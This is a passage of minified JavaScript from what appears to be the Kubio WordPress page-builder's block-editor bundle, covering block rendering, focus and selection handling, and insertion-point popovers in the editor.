zv({x:0,y:0,config:{mass:5,tension:2e3,friction:200},onChange({value:e}){if(!n.current)return;let{x:t,y:o}=e;t=Math.round(t),o=Math.round(o);const i=0===t&&0===o;n.current.style.transformOrigin="center center",n.current.style.transform=i?null:`translate3d(${t}px,${o}px,0)`,n.current.style.zIndex=v,f()}});n.current.style.transform=void 0;const k=vb(n.current),_=Math.round(p.left-k.left),y=Math.round(p.top-k.top);return b.start({x:0,y:0,from:{x:_,y}}),()=>{b.stop(),b.set({x:0,y:0})}}),[p,h,t,o,i,r,l,s,a,c]),n};function kb({clientId:e,initialPosition:t}){const n=(0,u.useRef)(),{isBlockSelected:o,isMultiSelecting:i}=(0,d.useSelect)(hs);return(0,u.useEffect)((()=>{if(!o(e)||i())return;if(null==t)return;if(!n.current)return;const{ownerDocument:r}=n.current;if(Tp(n.current,r.activeElement))return;const l=Cp.focus.tabbable.find(n.current).filter((e=>(0,Cp.isTextField)(e))),s=-1===t,a=l[s?l.length-1:0]||n.current;if(Tp(n.current,a)){if(!n.current.getAttribute("contenteditable")){const e=Cp.focus.tabbable.findNext(n.current);e&&Tp(n.current,e)&&(0,Cp.isFormElement)(e)&&e.focus()}(0,Cp.placeCaretAtHorizontalEdge)(a,s)}else n.current.focus()}),[t,e]),n}function _b(e){const{isBlockSelected:t}=(0,d.useSelect)(hs),{selectBlock:n,selectionChange:o}=(0,d.useDispatch)(hs);return(0,p.useRefEffect)((i=>{function r(r){i.parentElement.closest('[contenteditable="true"]')||(t(e)?r.target.isContentEditable||o(e):Tp(i,r.target)&&n(e))}return i.addEventListener("focusin",r),()=>{i.removeEventListener("focusin",r)}}),[t,n])}function yb(){const e=(0,u.useContext)(qb);return(0,p.useRefEffect)((t=>{if(e)return e.observe(t),()=>{e.unobserve(t)}}),[e])}function xb(e){if(e.defaultPrevented)return;const t="mouseover"===e.type?"add":"remove";e.preventDefault(),e.currentTarget.classList[t]("is-hovered")}function Sb({isEnabled:e}){return(0,p.useRefEffect)((t=>{if(e)return t.addEventListener("mouseout",xb),t.addEventListener("mouseover",xb),()=>{t.removeEventListener("mouseout",xb),t.removeEventListener("mouseover",xb),t.classList.remove("is-hovered")}}),[e])}function wb(e){const{isNavigationMode:t,isBlockSelected:n}=(0,d.useSelect)(hs),{setNavigationMode:o,selectBlock:i}=(0,d.useDispatch)(hs);return(0,p.useRefEffect)((r=>{function l(r){t()&&!r.defaultPrevented&&(r.preventDefault(),n(e)?o(!1):i(e))}return r.addEventListener("mousedown",l),()=>{r.removeEventListener("mousedown",l)}}),[e,t,n,o])}function Cb({isSelected:e}){const t=(0,p.useReducedMotion)();return(0,p.useRefEffect)((n=>{if(e){const{ownerDocument:e}=n,{defaultView:o}=e;if(!o.IntersectionObserver)return;const i=new o.IntersectionObserver((e=>{e[0].isIntersecting||n.scrollIntoView({behavior:t?"instant":"smooth"}),i.disconnect()}));return i.observe(n),()=>{i.disconnect()}}}),[e])}function Bb({clientId:e,isSelected:t}){const{getBlockRootClientId:n,getBlockIndex:o}=(0,d.useSelect)(hs),{insertDefaultBlock:i,removeBlock:r}=(0,d.useDispatch)(hs);return(0,p.useRefEffect)((l=>{if(t)return l.addEventListener("keydown",s),l.addEventListener("dragstart",a),()=>{l.removeEventListener("keydown",s),l.removeEventListener("dragstart",a)};function s(t){const{keyCode:s,target:a}=t;s!==sd.ENTER&&s!==sd.BACKSPACE&&s!==sd.DELETE||a!==l||(0,Cp.isTextField)(a)||(t.preventDefault(),s===sd.ENTER?i({},n(e),o(e)+1):r(e))}function a(e){e.preventDefault()}}),[e,t,n,o,i,r])}function Ib(e={},{__unstableIsHtml:t}={}){var n,o,i,r,l,s,a,c;const{clientId:d,className:h,wrapperProps:g={},isAligned:f,index:m,mode:b,name:k,blockApiVersion:_,blockTitle:y,isSelected:x,isSubtreeDisabled:w,isOutlineEnabled:C,hasOverlay:B,initialPosition:I,blockEditingMode:j,isHighlighted:E,isMultiSelected:T,isPartiallySelected:P,isReusable:M,isDragging:R,hasChildSelected:N,removeOutline:A,isBlockMovingMode:L,canInsertMovingBlock:D,isEditingDisabled:O,hasEditableOutline:z,isTemporarilyEditingAsBlocks:F,defaultClassName:V,templateLock:H}=(0,u.useContext)(Is),G=(0,Je.sprintf)(// translators: %s: Type of block (i.e. Text, Image etc) // translators: %s: Type of block (i.e. Text, Image etc) (0,Je.__)("Block: %s","kubio"),y),$="html"!==b||t?"":"-visual",U=(0,p.useMergeRefs)([e.ref,kb({clientId:d,initialPosition:I}),md(d),_b(d),Bb({clientId:d,isSelected:x}),wb(d),Sb({isEnabled:C}),yb(),bb({triggerAnimationOnChange:m,clientId:d}),(0,p.useDisabled)({isDisabled:!B}),qg({clientId:d,isEnabled:"core/block"===k||"contentOnly"===H}),Cb({isSelected:x})]),W=S(),K=W[v]&&Rs(k)?{"--wp-admin-theme-color":"var(--wp-block-synced-color)","--wp-admin-theme-color--rgb":"var(--wp-block-synced-color--rgb)"}:{};_<2&&d===W.clientId&&!0===globalThis.SCRIPT_DEBUG&&Zg()(`Block type "${k}" must support API version 2 or higher to work correctly with "useBlockProps" method.`);let Z=!1;return"-"!==(null==g||null===(n=g.style)||void 0===n||null===(o=n.marginTop)||void 0===o?void 0:o.charAt(0))&&"-"!==(null==g||null===(i=g.style)||void 0===i||null===(r=i.marginBottom)||void 0===r?void 0:r.charAt(0))&&"-"!==(null==g||null===(l=g.style)||void 0===l||null===(s=l.marginLeft)||void 0===s?void 0:s.charAt(0))&&"-"!==(null==g||null===(a=g.style)||void 0===a||null===(c=a.marginRight)||void 0===c?void 0:c.charAt(0))||(Z=!0),{tabIndex:"disabled"===j?-1:0,...g,...e,ref:U,id:`block-${d}${$}`,role:"document","aria-label":G,"data-block":d,"data-type":k,"data-title":y,inert:w?"true":void 0,className:Oa()("block-editor-block-list__block",{"wp-block":!f,"has-block-overlay":B,"is-selected":x,"is-highlighted":E,"is-multi-selected":T,"is-partially-selected":P,"is-reusable":M,"is-dragging":R,"has-child-selected":N,"remove-outline":A,"is-block-moving-mode":L,"can-insert-moving-block":D,"is-editing-disabled":O,"has-editable-outline":z,"has-negative-margin":Z,"is-content-locked-temporarily-editing-as-blocks":F},h,e.className,g.className,V),style:{...g.style,...e.style,...K}}}function jb({children:e,isHtml:t,...n}){return(0,Nt.jsx)("div",{...Ib(n,{__unstableIsHtml:t}),children:e})}function Eb({block:{__unstableBlockSource:e},mode:t,isLocked:n,canRemove:o,clientId:i,isSelected:r,isSelectionEnabled:l,className:s,__unstableLayoutClassNames:a,name:p,isValid:h,attributes:g,wrapperProps:f,setAttributes:m,onReplace:v,onInsertBlocksAfter:b,onMerge:k,toggleSelection:_}){var y;const{mayDisplayControls:x,mayDisplayParentControls:S,themeSupportsLayout:w,...C}=(0,u.useContext)(Is),{removeBlock:B}=(0,d.useDispatch)(hs),I=(0,u.useCallback)((()=>B(i)),[i,B]),j=Uu()||{};let E=(0,Nt.jsx)(js,{name:p,isSelected:r,attributes:g,setAttributes:m,insertBlocksAfter:n?void 0:b,onReplace:o?v:void 0,onRemove:o?I:void 0,mergeBlocks:o?k:void 0,clientId:i,isSelectionEnabled:l,toggleSelection:_,__unstableLayoutClassNames:a,__unstableParentLayout:Object.keys(j).length?j:void 0,mayDisplayControls:x,mayDisplayParentControls:S,blockEditingMode:C.blockEditingMode,isPreviewMode:C.isPreviewMode});const T=(0,c.getBlockType)(p);null!=T&&T.getEditWrapperProps&&(f=function(e,t){const n={...e,...t};return null!=e&&e.hasOwnProperty("className")&&null!=t&&t.hasOwnProperty("className")&&(n.className=Oa()(e.className,t.className)),null!=e&&e.hasOwnProperty("style")&&null!=t&&t.hasOwnProperty("style")&&(n.style={...e.style,...t.style}),n}(f,T.getEditWrapperProps(g)));const P=f&&!!f["data-align"]&&!w,M=null==s?void 0:s.includes("is-position-sticky");let R;if(P&&(E=(0,Nt.jsx)("div",{className:Oa()("wp-block",M&&s),"data-align":f["data-align"],children:E})),h)R="html"===t?(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsx)("div",{style:{display:"none"},children:E}),(0,Nt.jsx)(jb,{isHtml:!0,children:(0,Nt.jsx)(Vg,{clientId:i})})]}):(null==T?void 0:T.apiVersion)>1?E:(0,Nt.jsx)(jb,{children:E});else{const t=e?(0,c.serializeRawBlock)(e):(0,c.getSaveContent)(T,g);R=(0,Nt.jsxs)(jb,{className:"has-warning",children:[(0,Nt.jsx)(Wg,{clientId:i}),(0,Nt.jsx)(u.RawHTML,{children:(0,Cp.safeHTML)(t)})]})}const{"data-align":N,...A}=null!==(y=f)&&void 0!==y?y:{},L={...A,className:ms(A.className,N&&w&&`align${N}`,!(N&&M)&&s)};return(0,Nt.jsx)(Is.Provider,{value:{wrapperProps:L,isAligned:P,...C},children:(0,Nt.jsx)(Dg,{fallback:(0,Nt.jsx)(jb,{className:"has-warning",children:(0,Nt.jsx)(zg,{})}),children:R})})}Ib.save=c.__unstableGetBlockProps;const Tb=(0,d.withDispatch)(((e,t,n)=>{const{updateBlockAttributes:o,insertBlocks:i,mergeBlocks:r,replaceBlocks:l,toggleSelection:s,__unstableMarkLastChangeAsPersistent:a,moveBlocksToPosition:u,removeBlock:d,selectBlock:p}=e(hs);return{setAttributes(e){const{getMultiSelectedBlockClientIds:i}=n.select(hs),r=i(),{clientId:l}=t,s=r.length?r:[l];o(s,e)},onInsertBlocks(e,n){const{rootClientId:o}=t;i(e,n,o)},onInsertBlocksAfter(e){const{clientId:o,rootClientId:r}=t,{getBlockIndex:l}=n.select(hs),s=l(o);i(e,s+1,r)},onMerge(e){const{clientId:o,rootClientId:s}=t,{getPreviousBlockClientId:a,getNextBlockClientId:h,getBlock:g,getBlockAttributes:f,getBlockName:m,getBlockOrder:v,getBlockIndex:b,getBlockRootClientId:k,canInsertBlockType:_}=n.select(hs);function y(){const e=g(o),t=(0,c.getDefaultBlockName)();if(m(o)!==t){const n=(0,c.switchToBlockType)(e,t);n&&n.length&&l(o,n)}else if((0,c.isUnmodifiedDefaultBlock)(e)){const e=h(o);e&&n.batch((()=>{d(o),p(e)}))}}function x(e,t=!0){const o=k(e),r=v(e),[l]=r;1===r.length&&(0,c.isUnmodifiedBlock)(g(l))?d(e):n.batch((()=>{if(_(m(l),o))u([l],e,o,b(e));else{const n=(0,c.switchToBlockType)(g(l),(0,c.getDefaultBlockName)());n&&n.length&&n.every((e=>_(e.name,o)))?(i(n,b(e),o,t),d(l,!1)):y()}!v(e).length&&(0,c.isUnmodifiedBlock)(g(e))&&d(e,!1)}))}if(e){if(s){const e=h(s);if(e){if(m(s)!==m(e))return void r(s,e);{const t=f(s),o=f(e);if(Object.keys(t).every((e=>t[e]===o[e])))return void n.batch((()=>{u(v(e),e,s),d(e,!1)}))}}}const e=h(o);if(!e)return;v(e).length?x(e,!1):r(o,e)}else{const e=a(o);if(e)r(e,o);else if(s){const e=a(s);if(e&&m(s)===m(e)){const t=f(s),o=f(e);if(Object.keys(t).every((e=>t[e]===o[e])))return void n.batch((()=>{u(v(s),s,e),d(s,!1)}))}x(s)}else y()}},onReplace(e,n,o){e.length&&!(0,c.isUnmodifiedDefaultBlock)(e[e.length-1])&&a();const i=1===(null==e?void 0:e.length)&&Array.isArray(e[0])?e[0]:e;l([t.clientId],i,n,o)},toggleSelection(e){s(e)}}}));Eb=(0,p.compose)(Tb,(0,ne.withFilters)("editor.BlockListBlock"))(Eb);const Pb=(0,u.memo)((function(e){const{clientId:t,rootClientId:n}=e,o=(0,d.useSelect)((e=>{const{isBlockSelected:o,getBlockMode:i,isSelectionEnabled:r,getTemplateLock:l,getBlockWithoutAttributes:s,getBlockAttributes:a,canRemoveBlock:u,canMoveBlock:d,getSettings:p,__unstableGetTemporarilyEditingAsBlocks:h,getTemporarilyEditingAsBlocks:g,getBlockEditingMode:f,getBlockName:m,isFirstMultiSelectedBlock:v,getMultiSelectedBlockClientIds:b,hasSelectedInnerBlock:k,getBlocksByName:_,getBlockIndex:y,isTyping:x,isBlockMultiSelected:S,isBlockSubtreeDisabled:w,isBlockHighlighted:C,__unstableIsFullySelected:B,__unstableSelectionHasUnmergeableBlock:I,isBlockBeingDragged:j,isDragging:E,hasBlockMovingClientId:T,canInsertBlockType:P,__unstableHasActiveBlockOverlayActive:M,__unstableGetEditorMode:R,getSelectedBlocksInitialCaretPosition:N}=ge(e(hs)),A=s(t);if(!A)return;const{hasBlockSupport:L,getActiveBlockVariation:D}=e(c.store),O=a(t),{name:z,isValid:F}=A,V=(0,c.getBlockType)(z),{supportsLayout:H,__unstableIsPreviewMode:G,outlineMode:$}=p(),U=(null==V?void 0:V.apiVersion)>1,W={isPreviewMode:G,blockWithoutAttributes:A,name:z,attributes:O,isValid:F,themeSupportsLayout:H,index:y(t),isReusable:(0,c.isReusableBlock)(V),className:U?O.className:void 0,defaultClassName:U?(0,c.getBlockDefaultClassName)(z):void 0,blockTitle:null==V?void 0:V.title};if(G)return W;const K=o(t),Z=u(t,n),q=d(t,n),Y=D(z,O),X=S(t),Q=k(t,!0),J=x(),ee=T(),te=f(t),ne=(0,c.hasBlockSupport)(z,"multiple",!0)?[]:_(z),oe=ne.length&&ne[0]!==t,ie=g||h;return{...W,mode:i(t),isSelectionEnabled:r(),isLocked:!!l(n),templateLock:l(t),canRemove:Z,canMove:q,blockWithoutAttributes:A,name:z,attributes:O,isValid:F,isSelected:K,themeSupportsLayout:H,isTemporarilyEditingAsBlocks:ie()===t,blockEditingMode:te,mayDisplayControls:K||v(t)&&b().every((e=>m(e)===z)),mayDisplayParentControls:L(m(t),"__experimentalExposeControlsToChildren",!1)&&k(t),index:y(t),blockApiVersion:(null==V?void 0:V.apiVersion)||1,blockTitle:(null==Y?void 0:Y.title)||(null==V?void 0:V.title),isSubtreeDisabled:"disabled"===te&&w(t),isOutlineEnabled:$,hasOverlay:M(t)&&!E(),initialPosition:!K||"edit"!==R()&&"zoom-out"!==R()?void 0:N(),isHighlighted:C(t),isMultiSelected:X,isPartiallySelected:X&&!B()&&!I(),isReusable:(0,c.isReusableBlock)(V),isDragging:j(t),hasChildSelected:Q,removeOutline:K&&$&&J,isBlockMovingMode:!!ee,canInsertMovingBlock:ee&&P(m(ee),n),isEditingDisabled:"disabled"===te,hasEditableOutline:"disabled"!==te&&"disabled"===f(n),originalBlockClientId:!!oe&&ne[0]}}),[t,n]),{isPreviewMode:i,mode:r="visual",isSelectionEnabled:l=!1,isLocked:s=!1,canRemove:a=!1,canMove:p=!1,blockWithoutAttributes:h,name:g,attributes:f,isValid:m,isSelected:v=!1,themeSupportsLayout:b,isTemporarilyEditingAsBlocks:k,blockEditingMode:_,mayDisplayControls:y,mayDisplayParentControls:x,index:S,blockApiVersion:w,blockTitle:C,isSubtreeDisabled:B,isOutlineEnabled:I,hasOverlay:j,initialPosition:E,isHighlighted:T,isMultiSelected:P,isPartiallySelected:M,isReusable:R,isDragging:N,hasChildSelected:A,removeOutline:L,isBlockMovingMode:D,canInsertMovingBlock:O,templateLock:z,isEditingDisabled:F,hasEditableOutline:V,className:H,defaultClassName:G,originalBlockClientId:$}=o,U=(0,u.useMemo)((()=>({...h,attributes:f})),[h,f]);if(!o)return null;const W={isPreviewMode:i,clientId:t,className:H,index:S,mode:r,name:g,blockApiVersion:w,blockTitle:C,isSelected:v,isSubtreeDisabled:B,isOutlineEnabled:I,hasOverlay:j,initialPosition:E,blockEditingMode:_,isHighlighted:T,isMultiSelected:P,isPartiallySelected:M,isReusable:R,isDragging:N,hasChildSelected:A,removeOutline:L,isBlockMovingMode:D,canInsertMovingBlock:O,templateLock:z,isEditingDisabled:F,hasEditableOutline:V,isTemporarilyEditingAsBlocks:k,defaultClassName:G,mayDisplayControls:y,mayDisplayParentControls:x,originalBlockClientId:$,themeSupportsLayout:b};return(0,Nt.jsx)(Is.Provider,{value:W,children:(0,Nt.jsx)(Eb,{...e,mode:r,isSelectionEnabled:l,isLocked:s,canRemove:a,canMove:p,block:U,name:g,attributes:f,isValid:m,isSelected:v})})})),Mb=new WeakMap,Rb=function(e){return(0,p.useRefEffect)((t=>{function n(t){const{deltaX:n,deltaY:o}=t,i=e.current;let r=Mb.get(i);r||(r=(0,Cp.getScrollContainer)(i),Mb.set(i,r)),r.scrollBy(n,o)}const o={passive:!0};return t.addEventListener("wheel",n,o),()=>{t.removeEventListener("wheel",n,o)}}),[e])},Nb=Number.MAX_SAFE_INTEGER,Ab=(0,oe.wpVersionCompare)("6.3","<");(0,u.createContext)();const Lb=function({previousClientId:e,nextClientId:t,children:n,__unstablePopoverSlot:o,__unstableContentRef:i,kubioInsertionEdge:r,disableInserter:l,...s}){const[a,c]=(0,u.useReducer)((e=>(e+1)%Nb),0),{orientation:p,rootClientId:h,isVisible:g}=(0,d.useSelect)((n=>{var o;const{getBlockListSettings:i,getBlockRootClientId:r,isBlockVisible:l}=n(hs),s=r(null!=e?e:t);return{orientation:(null===(o=i(s))||void 0===o?void 0:o.orientation)||"vertical",rootClientId:s,isVisible:!(0,se.isFunction)(l)||l(e)&&l(t)}}),[e,t]),f=bd(e),m=bd(t),v="vertical"===p,b=(0,u.useMemo)((()=>{if(!f&&!m||!g)return{};if(!f&&!m)return{width:0,height:0};const e=f?f.getBoundingClientRect():null,t=m?m.getBoundingClientRect():null;if(v)return{width:(f||m).closest(".block-editor-block-list__layout").getBoundingClientRect().width,height:t&&e?t.top-e.bottom:0};let n=0;return e&&t&&(n=(0,Je.isRTL)()?e.left-t.right:t.left-e.right),{width:n,height:e?e.height:t.height}}),[f,m,v,g]),k=(0,u.useMemo)((()=>{if(!r&&!f&&!m||!g)return;const e={},t=f||m;return Ab&&(e.ownerDocument=null==t?void 0:t.ownerDocument),{contextElement:t,getBoundingClientRect(){var e,t,n,o,i,l;if(!f&&!m)return new window.DOMRect(0,0,0,0);let s=f?f.getBoundingClientRect():null;const a=m?m.getBoundingClientRect():null;"top"===r&&(s=null),"bottom"===r&&(s=a);const c=null===(e=(f||m).closest(".block-editor-block-list__layout"))||void 0===e||null===(t=e.getBoundingClientRect)||void 0===t?void 0:t.call(e);let u=(s?null===(n=s)||void 0===n?void 0:n.right:null==a?void 0:a.right)||0,d=(s?null===(o=s)||void 0===o?void 0:o.right:null==a?void 0:a.right)||0;if(c&&(u=null==c?void 0:c.left,d=null==c?void 0:c.right),v){var p;if((0,Je.isRTL)()){var h,g;const e=s?null===(h=s)||void 0===h?void 0:h.bottom:null==a?void 0:a.top,t=(s?null===(g=s)||void 0===g||g.bottom:null==a||a.top,0),n=0;return new window.DOMRect(u,e,n,t)}const e=0,t=0,n=s?(null===(p=s)||void 0===p?void 0:p.bottom)||0:(null==a?void 0:a.top)||0;return new window.DOMRect(u,n,t,e)}if((0,Je.isRTL)()){var b,k;const e=(s?null===(b=s)||void 0===b?void 0:b.top:null==a?void 0:a.top)||0;u=(s?null===(k=s)||void 0===k?void 0:k.left:null==a?void 0:a.right)||0;const t=0,n=0;return new window.DOMRect(u,e,n,t)}const _=(s?null===(i=s)||void 0===i?void 0:i.top:null==a?void 0:a.top)||0;return u=(s?null===(l=s)||void 0===l?void 0:l.right:null==a?void 0:a.left)||0,new window.DOMRect(u,_,0,0)},...e}}),[r,f,m,g,v]),_=Rb(i);return(0,u.useLayoutEffect)((()=>{if(!f)return;const e=new window.MutationObserver(c);return e.observe(f,{attributes:!0}),()=>{e.disconnect()}}),[f]),(0,u.useLayoutEffect)((()=>{if(!m)return;const e=new window.MutationObserver(c);return e.observe(m,{attributes:!0}),()=>{e.disconnect()}}),[m]),(0,u.useLayoutEffect)((()=>{if(f)return f.ownerDocument.defaultView.addEventListener("resize",c),()=>{f.ownerDocument.defaultView.removeEventListener("resize",c)}}),[f]),(f||m)&&g?(0,Nt.jsx)(ne.Popover,{ref:_,animate:!1,anchor:k,focusOnMount:!1,__unstableSlotName:o||null,...s,className:Oa()("block-editor-block-popover","block-editor-block-popover__inbetween",r?`kubio-editor-block-popover__inbetween-${r}`:"",{"kubio-inserter-popup-disabled":l},s.className),resize:!1,flip:!1,placement:"bottom-start",variant:"unstyled",children:(0,Nt.jsx)("div",{className:"block-editor-block-popover__inbetween-container",style:b,children:n})},t+"--"+h):null},Db=(0,u.createContext)(),Ob={start:{width:0,top:"50%",bottom:"50%",x:0},rest:{width:4,top:0,bottom:0,x:-2},hover:{width:4,top:0,bottom:0,x:-2}},zb={start:{height:0,left:"50%",right:"50%",y:0,width:0},rest:{height:4,left:0,right:0,y:-2,width:"100%"},hover:{height:4,left:0,right:0,y:-2,width:"100%"}},Fb={start:{scale:0},rest:{scale:1,transition:{delay:0}}};function Vb({__unstablePopoverSlot:e,__unstableContentRef:t}){const{selectBlock:n,hideInsertionPoint:o}=(0,d.useDispatch)(hs),i=(0,u.useContext)(Db),r=(0,u.useRef)(),{orientation:l,previousClientId:s,nextClientId:a,rootClientId:c,isInserterShown:p,kubioInsertionEdge:h,kubioEditorModeIsSimple:g,hideDefaultInsertionPoint:f,isDragging:m}=(0,d.useSelect)((e=>{var t;const{getBlock:n,getBlockOrder:o,getBlockListSettings:i,getBlockInsertionPoint:r,isBlockBeingDragged:l,getPreviousBlockClientId:s,getNextBlockClientId:a,isDraggingBlocks:c}=e(hs),u=r(),d=o(u.rootClientId);if(!d.length)return{};let p=d[u.index-1],h=d[u.index];const g=c()||top.document.body.classList.contains("kubio-dragging-from-inserter--active");for(;l(p);)p=s(p);for(;l(h);)h=a(h);const{getKubioEditorModeIsSimple:f=ue().noop}=e("kubio/edit-site")||{},m=f(),v=n(p),b=n(h),k=["kubio/section","kubio/navigation"],_=k.includes(null==v?void 0:v.name)||k.includes(null==b?void 0:b.name);return{previousClientId:p,nextClientId:h,orientation:(null===(t=i(u.rootClientId))||void 0===t?void 0:t.orientation)||"vertical",rootClientId:u.rootClientId,isInserterShown:null==u?void 0:u.__unstableWithInserter,kubioEditorModeIsSimple:m,kubioInsertionEdge:null==u?void 0:u.kubioInsertionEdge,hideDefaultInsertionPoint:_,isDragging:g}}),[]),v="vertical"===l,b={start:{...v?zb.start:Ob.start,opacity:0},rest:{...v?zb.rest:Ob.rest,opacity:1,borderRadius:"2px",transition:{delay:0}},hover:{...v?zb.hover:Ob.hover,opacity:1,borderRadius:"2px",transition:{delay:0}}},k=Oa()("block-editor-block-list__insertion-point","is-"+l),_=(0,u.useMemo)((()=>{switch(h){case"top":return"begin";case"bottom":return"end"}return h}),[h]);(0,u.useEffect)((()=>{p||(i.current=!1)}),[p,i]);const y=m||!f&&!g,x=p&&!f&&!g;return(0,Nt.jsx)(Lb,{previousClientId:s,nextClientId:a,__unstablePopoverSlot:e,__unstableContentRef:t,kubioInsertionEdge:h,disableInserter:!x&&!y,children:(0,Nt.jsxs)(ne.__unstableMotion.div,{layout:!0,initial:"start",animate:"rest",whileHover:"hover",whileTap:"pressed",exit:"start",ref:r,tabIndex:-1,onClick:function(e){e.target===r.current&&a&&n(a,-1)},onFocus:function(e){e.target!==r.current&&(i.current=!0)},className:Oa()(k,{"is-with-inserter":p}),onHoverEnd:function(e){e.target!==r.current||i.current||o()},children:[y&&(0,Nt.jsx)(ne.__unstableMotion.div,{variants:b,className:"block-editor-block-list__insertion-point-indicator","data-testid":"block-list-insertion-point-indicator"}),x&&(0,Nt.jsx)(ne.__unstableMotion.div,{variants:Fb,className:Oa()("block-editor-block-list__insertion-point-inserter"),children:(0,Nt.jsx)(Xh,{position:"bottom center",clientId:a,rootClientId:c,kubioInsertPosition:_,__experimentalIsQuick:!0,onToggle:e=>{i.current=e},onSelectOrClose:()=>{i.current=!1,o()},onClickBrowseAll:()=>{i.current=!1,o()}})})]})})}function Hb(e){return(0,d.useSelect)((e=>e(hs).isBlockInsertionPointVisible()),[])&&(0,Nt.jsx)(Vb,{...e})}const Gb=15,$b=5,Ub=e=>null==e?void 0:e.closest("[data-block]"),Wb=e=>{var t,n,o;return 3===e.nodeType&&(e=e.parentElement),null!==(t=e)&&void 0!==t&&null!==(n=t.classList)&&void 0!==n&&n.contains("block-editor-block-list__layout")?e.parentElement.closest(".block-editor-block-list__layout"):null===(o=e)||void 0===o?void 0:o.closest(".block-editor-block-list__layout")},Kb=e=>{var t;return!!e&&(null!=e&&e.getAttribute("data-type")?e.hasAttribute("data-kubio-disable-inbetween-inserter")||(null===(t=(0,c.getBlockType)(null==e?void 0:e.getAttribute("data-type")))||void 0===t?void 0:t.innerBlocksDisableInBetweenInserter):void 0)};function Zb(){const e=(0,u.useContext)(Db),t=(0,d.useSelect)((e=>e(hs).getSettings().hasReducedUI||"zoom-out"===e(hs).__unstableGetEditorMode()),[]),{getBlockListSettings:n,getBlockRootClientId:o,getBlockIndex:i,isBlockInsertionPointVisible:r,isMultiSelecting:l,getSelectedBlockClientIds:s,getTemplateLock:a}=(0,d.useSelect)(hs),{showInsertionPoint:c,hideInsertionPoint:h}=(0,d.useDispatch)(hs),g=(0,u.useRef)({}),f=(0,u.useCallback)(((e,t,n,o)=>{o&&g.current&&g.current.rootClientId===e&&g.current.index===t||(g.current={rootClientId:e,index:t},c(e,t,n))}),[c]),m=(0,u.useCallback)((()=>{g.current=null,h()}),[h]);return(0,p.useRefEffect)((t=>{const o=(0,se.throttle)((function(t){var o,s;if(e.current)return;if(l())return;let c=t.target;if(c.closest("[data-kubio-template-overlay]"))return void m();null!==(o=c.classList)&&void 0!==o&&o.contains("block-editor-block-list__layout")||(c=Wb(c));let u,d=Ub(c);for(;c&&Kb(d);)c=Wb(d),c&&(d=Ub(c));if(!c)return void(r()&&m());if(!c.classList.contains("is-root-container")){const e=c.getAttribute("data-block")?c:c.closest("[data-block]");u=null==e?void 0:e.getAttribute("data-block")}if(a(u))return;const p=(null===(s=n(u))||void 0===s?void 0:s.orientation)||"vertical",h=c.getBoundingClientRect(),g=t.clientY-h.top,v=t.clientX-h.left,b=Array.from(c.children);let k=null,_=null;const y=b.length?(0,se.first)(b).getBoundingClientRect().top-h.top:null,x=b.length?(0,se.last)(b).getBoundingClientRect().bottom-h.top:null,S=b.length?Math.min(Math.max($b,b[0].offsetHeight/3),Gb):0,w=b.length?Math.min(Math.max($b,(0,se.last)(b).offsetHeight/3),Gb):0;if("vertical"===p&&g<=y+S?(k=b[0],_="top"):"vertical"===p&&g>=x-w?(k=(0,se.last)(b),_="bottom"):k=b.find(((e,t)=>{const n=t?b[t-1]:null;if("vertical"===p&&n){const t=Math.min(Math.max(5,Math.min(e.offsetHeight,n.offsetHeight)/3),Gb),o=n.offsetTop+n.offsetHeight-t,i=e.offsetTop+t;return o<=g&&g<=i}return"horizontal"===p&&e.offsetLeft>v})),!k)return void(r()&&m());if(!k.id&&(k=k.firstElementChild,!k))return void(r()&&m());if(k.classList.contains("is-selected")&&(!_||"top"===_))return void(r()&&m());const C=k.id.slice(6);if(!C)return;const B=k.getBoundingClientRect();if("horizontal"===p&&(t.clientY>B.bottom||t.clientY<B.top)||"vertical"===p&&(t.clientX>B.right||t.clientX<B.left))return void(r()&&m());if(!u)return void(r()&&m());const I=i(C,u);f(u,I,{__unstableWithInserter:!0,kubioInsertionEdge:_},r())}),1e3);return t.addEventListener("mousemove",o),()=>{t.removeEventListener("mousemove",o)}}),[n,o,i,r,l,f,m,s,t])}const qb=(0,u.createContext)(),Yb=new WeakMap,Xb=(0,u.createContext)();function Qb({className:e,...t}){const[n,o]=(0,u.useState)(),i=(0,p.useViewportMatch)("medium"),{isOutlineMode:r,isFocusMode:l,editorMode:s}=(0,d.useSelect)((e=>{const{getSettings:t,__unstableGetEditorMode:n}=e(hs),{outlineMode:o,focusMode:i}=t();return{isOutlineMode:o,isFocusMode:i,editorMode:n()}}),[]),a=(0,d.useRegistry)(),{setBlockVisibility:c}=(0,d.useDispatch)(hs),h=(0,p.useDebounce)((0,u.useCallback)((()=>{const e={};Yb.get(a).forEach((([t,n])=>{e[t]=n})),c(e)}),[a]),300,{trailing:!0}),g=(0,u.useMemo)((()=>{const{IntersectionObserver:e}=window;if(e)return new e((e=>{Yb.get(a)||Yb.set(a,[]);for(const t of e){const e=t.target.getAttribute("data-block");Yb.get(a).push([e,t.isIntersecting])}h()}))}),[]),f=Tg({ref:(0,p.useMergeRefs)([_p(),Zb(),Ng(),o]),className:Oa()("is-root-container",e,{"is-outline-mode":r,"is-focus-mode":l&&i,"is-navigate-mode":"navigation"===s})},t);return(0,Nt.jsx)(Xb.Provider,{value:n,children:(0,Nt.jsx)(qb.Provider,{value:g,children:(0,Nt.jsx)("div",{...f})})})}function Jb({clientId:e}){const{stopEditingAsBlocks:t}=ge((0,d.useDispatch)(hs)),n=(0,d.useSelect)((t=>{const{isBlockSelected:n,hasSelectedInnerBlock:o}=t(hs);return n(e)||o(e,!0)}),[e]);return(0,u.useEffect)((()=>{n||t(e)}),[n,e,t]),null}function ek(e){return(0,Nt.jsx)(x,{value:k,children:(0,Nt.jsx)(Qb,{...e})})}function tk({placeholder:e,rootClientId:t,renderAppender:n,__experimentalAppenderTagName:o,layout:i=Hu}){const 